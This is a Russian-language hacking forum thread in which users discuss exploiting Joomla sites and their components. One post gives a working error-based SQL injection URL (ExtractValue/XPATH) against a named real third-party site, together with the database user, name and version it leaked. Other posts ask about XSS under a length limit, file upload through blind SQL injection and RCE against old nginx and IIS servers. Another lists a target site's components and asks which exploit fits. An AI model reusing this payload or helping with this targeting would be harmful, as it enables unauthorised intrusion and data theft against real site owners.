05.12.2015, 16:04
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
|
|
|
05.12.2015, 16:07
|
|
Новичок
Регистрация: 12.10.2015
Сообщений: 6
С нами:
5572406
Репутация:
0
|
|
Сообщение от winstrool
↑
Покажите конкретную площадку там и будем расуждать, тут походу ее еще как error разкрутить можно...
Все эксперименты провожу на локалке...
Давайте залью на хостинг 3-ю джумлу и этот компонент - коллективно будем исследовать...
Что скажете?
|
|
|
|
05.12.2015, 17:10
|
|
Новичок
Регистрация: 05.12.2015
Сообщений: 5
С нами:
5494646
Репутация:
0
|
|
XSS:
фильтра нету,
Максимальное кол-во символов 32.
Как сделать?
Нахождение:
Код:
[XSS] бла-бла-бла...
Делал так, запрос идет, но не выполняется сам скрипт xss'ки. Проблема в (его нету)
|
|
|
|
05.12.2015, 17:26
|
|
Новичок
Регистрация: 12.10.2015
Сообщений: 6
С нами:
5572406
Репутация:
0
|
|
Эм, получили "Error displaying the error page: Application Instantiation Error: XPATH syntax error:". А как полезное из этого что-то получить?
|
|
|
|
05.12.2015, 19:58
|
|
Участник форума
Регистрация: 25.04.2013
Сообщений: 153
С нами:
6868406
Репутация:
2
|
|
вообще реально залить файл если sql time based blind? права mysql root
|
|
|
|
07.12.2015, 15:37
|
|
Новичок
Регистрация: 12.10.2015
Сообщений: 6
С нами:
5572406
Репутация:
0
|
|
Вы что-то реально показать можете, или лишь "умными сообщениями раскидываться"?
|
|
|
|
07.12.2015, 19:16
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от xaj3uie
↑
Вы что-то реально показать можете, или лишь "умными сообщениями раскидываться"?
А вы что то реальное понять можете? если нет, идите свой уровень образования поднимайте, читая статьи и мануалы!
_ttp:// www.moldesbarcelona.eu/modules/mod_jshopping_products_wfl/js/settings.php?id=171%27or(ExtractValue(1,(select%20 concat_ws(0x3a,0x3a,user(),database(),version()))) )+--+
Ответ:
Сообщение от None
XPATH syntax error: '::
admin_valentin@localhost:admin
' SQL
я вам показал вектор атаки, а вы крутите его уже сами!
Начните свой уровень изучив хотябы вот это:
/threads/43966/
А потом задавайте свои детские вопросы, показывая свою нелепую важность...
P.S: Модеры, кто его выпустил из песочницы?
|
|
|
|
07.12.2015, 19:24
|
|
Новичок
Регистрация: 12.10.2015
Сообщений: 6
С нами:
5572406
Репутация:
0
|
|
Да читал, иногда нужно спросить и убедиться.
Вот только на мои детские вопросы вы конкретно так и не ответили!
P.s. модерам спасибо, все мы когда-то были новички...
|
|
|
|
07.12.2015, 20:28
|
|
Участник форума
Регистрация: 02.11.2015
Сообщений: 139
С нами:
5542166
Репутация:
1
|
|
Извиняюсь за вопросы, гуглил, но как-то выдача не удалась...
1)Есть ли какие-то недавние рабочие RCE под такие сервисы???
nginx 1.6.2
Microsoft IIS 6.0
ASP.NET 1.1.4322
ASP.NET 2.0.50727
2)И ещё один вопрос: зависят ли как-то версии компонентов Joomla от основной версии самой Joomla ??? Существуют ли какие-то удобные, к примеру, таблицы, где чётко сопоставляются версия компонента с версией самой CMS ??? Или компоненты обновляются только с версией CMS ? Просто чтобы раскручивать сайт, узнал версию джумлы и её установленные дополнения, вот и думаю, по какой версии подбирать эксплоит...
P.S. Чтобы не создавать нового сообщения, спрошу здесь же: )))
Joomla 2.5.7
Component: com_content
Component: com_jce
Component: com_jdownloads
Component: com_newsfeeds
Component: com_users
Component: com_xmap
Есть ли смысл и варианты ???
|
|
|
|
07.12.2015, 22:33
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от xaj3uie
↑
Да читал, иногда нужно спросить и убедиться.
Вот только на мои детские вопросы вы конкретно так и не ответили!
P.s. модерам спасибо, все мы когда-то были новички...
Простите, а какой у Вас был вопрос?
Направьте в нужное русло?
Так Вас направили. Вам предоставили вектор атаки, дальше все по "фабуле".
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
